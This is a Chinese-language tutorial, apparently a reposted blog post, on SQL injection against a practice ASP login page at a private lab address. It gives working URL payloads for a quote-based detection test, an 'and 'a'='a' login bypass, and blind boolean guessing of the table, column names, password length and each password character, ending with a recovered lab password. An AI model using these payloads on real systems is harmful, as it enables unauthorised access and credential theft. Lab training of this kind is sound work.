sql注入

Posted 唐测试攻城狮

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

sql注入解析:在客户端输入SQL语句,程序在插入数据库时没做过滤,就有可能执行了外部代码,导致信息泄露(来自简单粗暴开发哥哥的解析)。

1.针对给出的WEB系统运行AspWebServer

2.进入登录页面进行SQL注入漏洞测试

正常登录:

用户名:admin 密码:admin

sql注入

SQL注入漏洞测试:

  • 在正常用户名admin后增加一个单引号,单击"登录"

  • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

sql注入

在正常用户名admin后增加一个单引号,单击"登录"

sql注入

出错

sql注入

登录出错

 

登录出错,证明存在SQL注入漏洞。

3.SQL注入攻击

  • 输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

  • 原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1

  • 登录失败

    sql注入

  • 输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

  • 原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

  • 登录成功

sql注入

 

4. 猜解数据库表名

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

sql注入

  • 成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

 

5. 猜解数据库字段名

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

  • 若用户名字段确为uname,则提示登录成功

  • 同理可猜出密码字段为upass

sql注入

猜测用户名字段为name,登录出错

sql注入

猜测用户名字段为uname,登录成功

说明数据库中用户名字段为uname

sql注入

猜测密码字段为upass,登录成功

说明数据库中密码字段为upass

 

6.猜解密码长度

  • 已知有一用户名为"wucm",首先猜其密码长度大于1

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

sql注入

成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

sql注入

成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

sql注入

出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

sql注入

出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

sql注入

成功,说明"wucm"的密码长度为6位

 

7.猜解密码

根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

首先测试第一位是否为数字

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

sql注入

出错,说明密码第一位不是数字, 测试是否位字母

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

sql注入

成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功,说明密码第一位位"w"

 

同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

 

至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

登录成功,证明整个猜测过程和最后得出的密码都是正确的


以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

sql 注入是啥?

什么叫sql注入,如何防止sql注入

关于SQL注入

Java安全-注入漏洞(SQL注入命令注入表达式注入模板注入)

sql注入一

什么是sql注入如何防止sql注入